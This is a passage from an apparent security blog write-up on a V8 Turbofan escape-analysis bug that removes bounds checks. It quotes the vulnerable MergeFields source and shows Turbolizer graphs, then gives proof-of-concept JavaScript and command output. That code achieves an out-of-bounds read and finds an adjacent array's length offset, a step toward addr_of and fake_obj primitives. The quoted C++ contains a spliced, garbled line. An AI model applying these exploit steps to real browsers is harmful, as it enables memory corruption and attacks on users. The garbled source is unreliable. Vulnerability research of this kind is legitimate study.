</span></span><span style="display:flex;"><span><span style="color:#a6e22e">f</span>(<span style="color:#ae81ff">3</span>,<span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">f</span>(<span style="color:#ae81ff">0</span>,<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">f</span>(<span style="color:#ae81ff">1</span>,<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">f</span>(<span style="color:#ae81ff">2</span>,<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">f</span>(<span style="color:#ae81ff">3</span>,<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span><span style="color:#f92672">%</span><span style="color:#a6e22e">OptimizeFunctionOnNextCall</span>(<span style="color:#a6e22e">f</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">assertEquals</span>(<span style="color:#a6e22e">f</span>(<span style="color:#ae81ff">2</span>), <span style="color:#e6db74">&#34;x1&#34;</span>);
</span></span></code></pre></div><h2 id="analysis">Analysis</h2>
<p><em>Obligatory disclaimer - I am not an expert in the V8 codebase and these conclusions on why the vulnerability exists maybe incorrect.</em></p>
<p>The vulnerable code lies in the <code>VirtualObject::MergeFields</code> function, which is part of the Escape Analysis phase of Turbofan&rsquo;s JIT.</p>
<blockquote>
<p>&ldquo;In compiler optimization, escape analysis is a method for determining the dynamic scope of pointers – where in the program a pointer can be accessed. It is related to pointer analysis and shape analysis.&rdquo; <a href="https://en.wikipedia.org/wiki/Escape_analysis">Wikipedia</a></p>
</blockquote>
<p>In V8 - Turbofan uses Escape Analysis to perform optimizations on objects that are bound to a function, if an object does not escape the function&rsquo;s lifetime, then it does not need to be allocated on the heap and V8 can treat it as a local variable to the function. here it can be stored on the stack, registers or optimized out completely.</p>
<p>See below for V8 Turbofan terms that will be referenced through this post:</p>
<ul>
<li>A &ldquo;Branch&rdquo; is a conditional control flow path where execution diverges into two nodes.</li>
<li>A &ldquo;Merge&rdquo; combines two control nodes for both sides of a branch.</li>
<li>A &ldquo;Phi&rdquo; combines the values calculated by both sides of a branch.</li>
</ul>
<p>The merge function below creates a Phi of type based upon the previously seen types in the cache. It appears that the bug lies in the fact the function incorrectly calculates the type, and the attacker controlled value can therefore be a different type to what the compiled function expects.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">bool</span> VirtualObject<span style="color:#f92672">::</span>MergeFields(size_t i, Node<span style="color:#f92672">*</span> at, MergeCache<span style="color:#f92672">*</span> cache,
</span></span><span style="display:flex;"><span>                                Graph<span style="color:#f92672">*</span> graph, CommonOperatorBuilder<span style="color:#f92672">*</span> common) {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">bool</span> changed <span style="color:#f92672">=</span> false;
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">int</span> value_input_count <span style="color:#f92672">=</span> <span style="color:#66d9ef">static_cast</span><span style="color:#f92672">&lt;</span><span style="color:#66d9ef">int</span><span style="color:#f92672">&gt;</span>(cache<span style="color:#f92672">-&gt;</span>fields().size());
</span></span><span style="display:flex;"><span>  Node<span style="color:#f92672">*</span> rep <span style="color:#f92672">=</span> GetField(i);
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>rep <span style="color:#f92672">||</span> <span style="color:#f92672">!</span>IsCreatedPhi(i)) {
</span></span><span style="display:flex;"><span>    Type<span style="color:#f92672">*</span> phi_type <span style="color:#f92672">=</span> Type<span style="color:#f92672">::</span>None();
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> (Node<span style="color:#f92672">*</span> input : cache<span style="color:#f92672">-&gt;</span>fields()) {
</span></span><span style="display:flex;"><span>      CHECK_NOT_NULL(input);
</span></span><span style="display:flex;"><span>      CHECK(<span style="color:#f92672">!</span>input<span style="color:#f92672">-&gt;</span>IsDead());
</span></span><span style="display:flex;"><span>      Type<span style="color:#f92672">*</span> input_type <span style="color:#f92672">=</span> NodeProperties<span style="color:#f92672">::</span>GetType(input);
</span></span><span style="display:flex;"><span>      phi_type <span style="color:#f92672">=</span> Type<span style="color:#f92672">::</span>Union(phi_type, input_type, graph<span style="color:#f92672">-&gt;</span>zone());
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    Node<span style="color:#f92672">*</span> control <span style="color:#f92672">=</span> NodeProperties<span style="color:#f92672">::</span>GetControlInput(at);
</span></span><span style="display:flex;"><span>    cache<span style="color:#f92672">-&gt;</span>fields().push_back(control);
</span></span><span style="display:flex;"><span>    Node<span style="color:#f92672">*</span> phi <span style="color:#f92672">=</span> graph<span style="color:#f92672">-&gt;</span>NewNode(
</span></span><span style="display:flex;"><span>        common<span style="color:#f92672">-&gt;</span>Phi(MachineRepresentation<span style="color:#f92672">::</span>kTagged, value_input_count),
</span></span><span style="display:flex;"><span>        value_input_count <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>, <span style="color:#f92672">&amp;</span>cache<span style="color:#f92672">-&gt;</span>fields().front());
</span></span><span style="display:flex;"><span>    NodeProperties<span style="color:#f92672">::</span>SetType(phi, phi_type);
</span></span><span style="display:flex;"><span>    SetField(i, phi, true);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#ifdef DEBUG
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">if</span> (FLAG_trace_turbo_escape) {
</span></span><span style="display:flex;"><span>      PrintF(<span style="color:#e6db74">&#34;    Creating Phi #%d as merge of&#34;</span>, phi<span style="color:#f92672">-&gt;</span>id());
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672">&lt;</span> value_input_count; i<span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>        PrintF(<span style="color:#e6db74">&#34; #%d (%s)&#34;</span>, cache<span style="color:#f92672">-&gt;</span>fields()[i]<span style="color:#f92672">-&gt;</span>id(),
</span></span><span style="display:flex;"><span>               cache<span style="color:#f92672">-&gt;</span>fields()[i]<span style="color:#f92672">-&gt;</span>op()<span style="color:#f92672">-&gt;</span>mnemonic());
</span></span><span style="display:flex;"><span>      }vp, n);
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">if</span> (old <span style="color:#f92672">!=</span> cache<span style="color:#f92672">-&gt;</span>fields()[n]) {
</span></span><span style="display:flex;"><span>        changed <span style="color:#f92672">=</span> true;
</span></span><span style="display:flex;"><span>        NodeProperties<span style="color:#f92672">::</span>ReplaceValueInput(rep, cache<span style="color:#f92672">-&gt;</span>fields()[n], n);
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> changed;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="turbolizer-analysis">Turbolizer Analysis</h3>
<p>We start by viewing the graph of our function in Turbolizer. In the Load Eliminated phase, which is the phase before the bug occurs, we can see the function flow as follows, some annotations have been added to demonstrate:</p>
<p><img src="/images/initial-graph.png" alt="initial_graph"></p>
<p>After this, merge, we can see that there is a bounds check and then the LoadElement node where <code>l[o.a]</code> is looked up. At this stage, there is no bug and the lookup occurs smoothly.</p>
<p><img src="/images/graph-2.png" alt="graph_2"></p>
<p>Next, we look for differences after the Escape Analysis phase where the bug occurs. Here we can see that <code>Phi[kRepTagged] Range(0,1)</code> is added before the checkBounds and LoadElement. Because Turbofan has only seen the values to be <code>0</code> or <code>1</code> in the previous executions, the compiler set the type to <code>Range(0,1)</code>.</p>
<p><img src="/images/graph-3.png" alt="graph_3"></p>
<p>Finally we look at the next phase, the Simplified Lowering phase, and it seems that because the type Range(0,1) is expected, the bounds check has been optimized out and removed:</p>
<p><img src="/images/graph-4.png" alt="graph_4"></p>
<p>The lack of bounds checks allow us to read and write out of bounds on this array.</p>
<h2 id="exploitation">Exploitation</h2>
<p>On initial look at first testcase, it seems that by validating f(101) is undefined, they are confirming that Array no longer can be read out of bounds (OOB).</p>
<p>To validate this assumption, the PoC can be run against the vulnerable version of V8, replacing assertEquals with print.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">f</span>(<span style="color:#a6e22e">x</span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">o</span> <span style="color:#f92672">=</span> {<span style="color:#a6e22e">a</span> <span style="color:#f92672">:</span> <span style="color:#ae81ff">0</span>};
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">l</span> <span style="color:#f92672">=</span> [<span style="color:#ae81ff">1</span>,<span style="color:#ae81ff">2</span>,<span style="color:#ae81ff">3</span>,<span style="color:#ae81ff">4</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">res</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">i</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">3</span>; <span style="color:#f92672">++</span><span style="color:#a6e22e">i</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">x</span><span style="color:#f92672">%</span><span style="color:#ae81ff">2</span> <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>) { <span style="color:#a6e22e">o</span>.<span style="color:#a6e22e">a</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>; <span style="color:#a6e22e">b</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">false</span>}
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">res</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">l</span>[<span style="color:#a6e22e">o</span>.<span style="color:#a6e22e">a</span>];
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">o</span>.<span style="color:#a6e22e">a</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">x</span>;
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">res</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">f</span>(<span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">f</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span><span style="color:#f92672">%</span><span style="color:#a6e22e">OptimizeFunctionOnNextCall</span>(<span style="color:#a6e22e">f</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">print</span>(<span style="color:#a6e22e">f</span>(<span style="color:#ae81ff">101</span>))
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>.<span style="color:#f92672">/</span><span style="color:#a6e22e">d8</span> <span style="color:#a6e22e">bug</span>.<span style="color:#a6e22e">js</span> <span style="color:#f92672">--</span><span style="color:#a6e22e">allow</span><span style="color:#f92672">-</span><span style="color:#a6e22e">natives</span><span style="color:#f92672">-</span><span style="color:#a6e22e">syntax</span> <span style="color:#f92672">--</span><span style="color:#a6e22e">turbo</span><span style="color:#f92672">-</span><span style="color:#a6e22e">escape</span> <span style="color:#f92672">--</span><span style="color:#a6e22e">turbo</span><span style="color:#f92672">-</span><span style="color:#a6e22e">experimental</span> <span style="color:#f92672">--</span><span style="color:#a6e22e">no</span><span style="color:#f92672">-</span><span style="color:#a6e22e">turbo</span><span style="color:#f92672">-</span><span style="color:#a6e22e">loop</span><span style="color:#f92672">-</span><span style="color:#a6e22e">peeling</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">#</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">#</span> <span style="color:#a6e22e">Fatal</span> <span style="color:#a6e22e">error</span> <span style="color:#66d9ef">in</span> ..<span style="color:#f92672">/</span><span style="color:#a6e22e">v8</span><span style="color:#f92672">/</span><span style="color:#a6e22e">src</span><span style="color:#f92672">/</span><span style="color:#a6e22e">objects</span>.<span style="color:#a6e22e">h</span>, <span style="color:#a6e22e">line</span> <span style="color:#ae81ff">1584</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">#</span> <span style="color:#a6e22e">Debug</span> <span style="color:#a6e22e">check</span> <span style="color:#a6e22e">failed</span><span style="color:#f92672">:</span> <span style="color:#f92672">!</span><span style="color:#a6e22e">IsSmi</span>() <span style="color:#f92672">==</span> <span style="color:#a6e22e">Internals</span><span style="color:#f92672">::</span><span style="color:#a6e22e">HasHeapObjectTag</span>(<span style="color:#66d9ef">this</span>) (<span style="color:#ae81ff">1</span> <span style="color:#a6e22e">vs</span>. <span style="color:#ae81ff">0</span>).
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">#</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">====</span> <span style="color:#a6e22e">C</span> <span style="color:#a6e22e">stack</span> <span style="color:#a6e22e">trace</span> <span style="color:#f92672">===============================</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#960050;background-color:#1e0010">/home/zon8/accidentalnday/./libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x13) [0x7efdae48d363]</span>
</span></span><span style="display:flex;"><span>    <span style="color:#960050;background-color:#1e0010">/home/zon8/accidentalnday/./libv8_libplatform.so(+0x7d8b) [0x7efdae46cd8b]</span>
</span></span><span style="display:flex;"><span>    <span style="color:#960050;background-color:#1e0010">/home/zon8/accidentalnday/./libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0xdc) [0x7efdae4891fc]</span>
</span></span><span style="display:flex;"><span>    <span style="color:#960050;background-color:#1e0010">/home/zon8/accidentalnday/./libv8.so(+0x1ad31a) [0x7efdad52a31a]</span>
</span></span><span style="display:flex;"><span>    .<span style="color:#f92672">/</span><span style="color:#a6e22e">d8</span>(<span style="color:#f92672">+</span><span style="color:#ae81ff">0x124cb</span>) [<span style="color:#ae81ff">0x55574932a4cb</span>]
</span></span><span style="display:flex;"><span>    .<span style="color:#f92672">/</span><span style="color:#a6e22e">d8</span>(<span style="color:#f92672">+</span><span style="color:#ae81ff">0x125ee</span>) [<span style="color:#ae81ff">0x55574932a5ee</span>]
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">/</span><span style="color:#a6e22e">home</span><span style="color:#f92672">/</span><span style="color:#a6e22e">zon8</span><span style="color:#f92672">/</span><span style="color:#a6e22e">accidentalnday</span><span style="color:#f92672">/</span>.<span style="color:#f92672">/</span><span style="color:#a6e22e">libv8</span>.<span style="color:#a6e22e">so</span>(<span style="color:#f92672">+</span><span style="color:#ae81ff">0x18cee2</span>) [<span style="color:#ae81ff">0x7efdad509ee2</span>]
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">/</span><span style="color:#a6e22e">home</span><span style="color:#f92672">/</span><span style="color:#a6e22e">zon8</span><span style="color:#f92672">/</span><span style="color:#a6e22e">accidentalnday</span><span style="color:#f92672">/</span>.<span style="color:#f92672">/</span><span style="color:#a6e22e">libv8</span>.<span style="color:#a6e22e">so</span>(<span style="color:#f92672">+</span><span style="color:#ae81ff">0x26b895</span>) [<span style="color:#ae81ff">0x7efdad5e8895</span>]
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">/</span><span style="color:#a6e22e">home</span><span style="color:#f92672">/</span><span style="color:#a6e22e">zon8</span><span style="color:#f92672">/</span><span style="color:#a6e22e">accidentalnday</span><span style="color:#f92672">/</span>.<span style="color:#f92672">/</span><span style="color:#a6e22e">libv8</span>.<span style="color:#a6e22e">so</span>(<span style="color:#f92672">+</span><span style="color:#ae81ff">0x26a1a9</span>) [<span style="color:#ae81ff">0x7efdad5e71a9</span>]
</span></span><span style="display:flex;"><span>    [<span style="color:#ae81ff">0x268f68a044c4</span>]
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Received</span> <span style="color:#a6e22e">signal</span> <span style="color:#ae81ff">4</span> <span style="color:#a6e22e">ILL_ILLOPN</span> <span style="color:#ae81ff">7</span><span style="color:#a6e22e">efdae48c012</span>
</span></span><span style="display:flex;"><span>[<span style="color:#ae81ff">1</span>]    <span style="color:#ae81ff">4436</span> <span style="color:#a6e22e">illegal</span> <span style="color:#a6e22e">hardware</span> <span style="color:#a6e22e">instruction</span> (<span style="color:#a6e22e">core</span> <span style="color:#a6e22e">dumped</span>)  .<span style="color:#f92672">/</span><span style="color:#a6e22e">d8</span> <span style="color:#a6e22e">bug</span>.<span style="color:#a6e22e">js</span> <span style="color:#f92672">--</span><span style="color:#a6e22e">allow</span><span style="color:#f92672">-</span><span style="color:#a6e22e">natives</span><span style="color:#f92672">-</span><span style="color:#a6e22e">syntax</span> <span style="color:#f92672">--</span><span style="color:#a6e22e">turbo</span><span style="color:#f92672">-</span><span style="color:#a6e22e">escape</span> <span style="color:#f92672">--</span><span style="color:#a6e22e">turbo</span><span style="color:#f92672">-</span><span style="color:#a6e22e">experimental</span>
</span></span></code></pre></div><p>The error <code>Debug check failed: !IsSmi() == Internals::HasHeapObjectTag(this) (1 vs. 0).</code> is caused because the script is trying to read a nonSMI value into a <code>PACKED_SMI_ELEMENTS</code> array. By changing <code>l</code> to a double array or <code>PACKED_DOUBLE_ELEMENTS</code> array to be exact, it should be possible to read the raw value.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">f</span>(<span style="color:#a6e22e">x</span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">o</span> <span style="color:#f92672">=</span> {<span style="color:#a6e22e">a</span> <span style="color:#f92672">:</span> <span style="color:#ae81ff">0</span>};
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">l</span> <span style="color:#f92672">=</span>  [<span style="color:#ae81ff">1.1</span>,<span style="color:#ae81ff">2.2</span>,<span style="color:#ae81ff">3.3</span>,<span style="color:#ae81ff">4.4</span>];
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">res</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">i</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">3</span>; <span style="color:#f92672">++</span><span style="color:#a6e22e">i</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">x</span><span style="color:#f92672">%</span><span style="color:#ae81ff">2</span> <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>) { <span style="color:#a6e22e">o</span>.<span style="color:#a6e22e">a</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>; <span style="color:#a6e22e">b</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">false</span>}
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">res</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">l</span>[<span style="color:#a6e22e">o</span>.<span style="color:#a6e22e">a</span>];
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">o</span>.<span style="color:#a6e22e">a</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">x</span>;
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">res</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">f</span>(<span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">f</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span><span style="color:#f92672">%</span><span style="color:#a6e22e">OptimizeFunctionOnNextCall</span>(<span style="color:#a6e22e">f</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">print</span>(<span style="color:#a6e22e">f</span>(<span style="color:#ae81ff">101</span>))
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>./d8 bug.js --allow-natives-syntax --turbo-escape --turbo-experimental --no-turbo-loop-peeling
</span></span><span style="display:flex;"><span>-1.1885946300594787e+148
</span></span></code></pre></div><p>This script returns <code>-1.1885946300594787e+148</code> and demonstrates the bug can be used to read OOB. The next step is to write OOB to overwrite the length element of an adjacent array so that it can be used to craft <code>addr_of</code> and <code>fake_obj</code> primitives.</p>
<p>But first to do this, the offset to the adjacent array&rsquo;s length parameter needs to be calculated. This can be found easily enough using trial and error, or using GDB to calculate the offset.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">l</span> <span style="color:#f92672">=</span>  [<span style="color:#ae81ff">1.1</span>,<span style="color:#ae81ff">2.2</span>,<span style="color:#ae81ff">3.3</span>,<span style="color:#ae81ff">4.4</span>];
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">oob_array</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> Array(<span style="color:#ae81ff">20</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">oob_array</span>[<span style="color:#ae81ff">0</span>]<span style="color:#f92672">=</span><span style="color:#ae81ff">5.5</span>;
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">oob_array</span>[<span style="color:#ae81ff">1</span>]<span style="color:#f92672">=</span> <span style="color:#ae81ff">6.6</span>;
</span></span></code></pre></div><p>Using trial and error the second element of the adjacent array <code>6.6</code> can be located.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>..<span style="color:#f92672">/</span><span style="color:#a6e22e">accidentalnday_release</span><span style="color:#f92672">/</span><span style="color:#a6e22e">d8</span> <span style="color:#a6e22e">bug</span>.<span style="color:#a6e22e">js</span> <span style="color:#f92672">--</span><span style="color:#a6e22e">allow</span><span style="color:#f92672">-</span><span style="color:#a6e22e">natives</span><span style="color:#f92672">-</span><span style="color:#a6e22e">syntax</span> <span style="color:#f92672">--</span><span style="color:#a6e22e">turbo</span><span style="color:#f92672">-</span><span style="color:#a6e22e">escape</span> <span style="color:#f92672">--</span><span style="color:#a6e22e">turbo</span><span style="color:#f92672">-</span><span style="color:#a6e22e">experimental</span> <span style="color:#f92672">--</span><span style="color:#a6e22e">no</span><span style="color:#f92672">-</span><span style="color:#a6e22e">turbo</span><span style="color:#f92672">-</span><span style="color:#a6e22e">loop</span><span style="color:#f92672">-</span><span style="color:#a6e22e">peeling</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">6.6</span>
</span></span></code></pre></div><p>The layout at the JSArray elements pointer (for an array <code>[1,2,3]</code>) is shown below:</p>
<pre tabindex="0"><code>0x3be95438dcd0: 0x0000000300000000 &lt;- Length
0x3be95438dcd8: 0x0000000100000000 &lt;- Element[0]
0x3be95438dce0: 0x0000000200000000 &lt;- Element[1]
0x3be95438dce8: 0x0000000300000000 &lt;- Element[2]
</code></pre><p>Meaning as we have the offset to the second element (<code>6.6</code>) we can just subtract two to get the length offset.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span> ..<span style="color:#f92672">/</span><span style="color:#a6e22e">accidentalnday_release</span><span style="color:#f92672">/</span><span style="color:#a6e22e">d8</span> <span style="color:#a6e22e">bug</span>.<span style="color:#a6e22e">js</span> <span style="color:#f92672">--</span><span style="color:#a6e22e">allow</span><span style="color:#f92672">-</span><span style="color:#a6e22e">natives</span><span style="color:#f92672">-</span><span style="color:#a6e22e">syntax</span> <span style="color:#f92672">--</span><span style="color:#a6e22e">turbo</span><span style="color:#f92672">-</span><span style="color:#a6e22e">escape</span> <span style="color:#f92672">--</span><span style="color:#a6e22e">turbo</span><span style="color:#f92672">-</span><span style="color:#a6e22e">experimental</span> <span style="color:#f92672">--</span><span style="color:#a6e22e">no</span><span style="color:#f92672">-</span><span style="color:#a6e22e">turbo</span><span style="color:#f92672">-</span><span style="color:#a6e22e">loop</span><span style="color:#f92672">-</span><span style="color:#a6e22e">peeling</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">4.24399158193</span><span style="color:#a6e22e">e</span><span style="color:#f92672">-</span><span style="color:#ae81ff">313</span>
</span></span></code></pre></div><p>The returned value <code>4.24399158193e-313</code> needs to be converted from double to SMI. This can be done using <a href="https://github.com/saelo/jscpwn/blob/master/int64.js">Saelo&rsquo;s Int64 library</a> plus some custom functions to convert SMI to Integer shown below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">int_to_smi</span>(<span style="color:#a6e22e">val</span>) {
</span></span><span style="display:flex;"><span>   <span style="color:#a6e22e">z</span><span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>   <span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34;0x&#34;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">val</span>.<span style="color:#a6e22e">toString</span>(<span style="color:#ae81ff">16</span>).<span style="color:#a6e22e">padStart</span>(<span style="color:#ae81ff">8</span>,<span style="color:#e6db74">&#39;0&#39;</span>) <span style="color:#f92672">+</span> <span style="color:#a6e22e">z</span>.<span style="color:#a6e22e">toString</span>(<span style="color:#ae81ff">16</span>).<span style="color:#a6e22e">padStart</span>(<span style="color:#ae81ff">8</span>,<span style="color:#e6db74">&#39;0&#39;</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">smi_to_int</span>(<span style="color:#a6e22e">val</span>) {
</span></span><span style="display:flex;"><span>   <span style="color:#a6e22e">val</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">val</span>.<span style="color:#a6e22e">toString</span>()
</span></span><span style="display:flex;"><span>   <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">val</span>.<span style="color:#a6e22e">startsWith</span>(<span style="color:#e6db74">&#34;0x&#34;</span>)) {
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">throw</span>(<span style="color:#e6db74">&#34;Does not start with 0x&#34;</span>);
</span></span><span style="display:flex;"><span>   }
</span></span><span style="display:flex;"><span>   <span style="color:#a6e22e">val</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">val</span>.<span style="color:#a6e22e">substring</span>(<span style="color:#ae81ff">2</span>)
</span></span><span style="display:flex;"><span>   <span style="color:#a6e22e">val</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">val</span>.<span style="color:#a6e22e">slice</span>(<span style="color:#ae81ff">0</span>,<span style="color:#f92672">-</span><span style="color:#ae81ff">8</span>)
</span></span><span style="display:flex;"><span>   <span style="color:#a6e22e">print</span>(<span style="color:#a6e22e">val</span>)
</span></span><span style="display:flex;"><span>   <span style="color:#a6e22e">val</span> <span style="color:#f92672">=</span> Number(<span style="color:#e6db74">&#34;0x&#34;</span><span style="color:#f92672">+</span><span style="color:#a6e22e">val</span>)
</span></span><span style="display:flex;"><span>   <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">val</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#f92672">%</span><span style="color:#a6e22e">OptimizeFunctionOnNextCall</span>(<span style="color:#a6e22e">f</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">res</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">Int64</span>.<span style="color:#a6e22e">fromDouble</span>(<span style="color:#a6e22e">f</span>(<span style="color:#ae81ff">9</span>));
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">print</span>(<span style="color:#a6e22e">smi_to_int</span>(<span style="color:#a6e22e">res</span>))
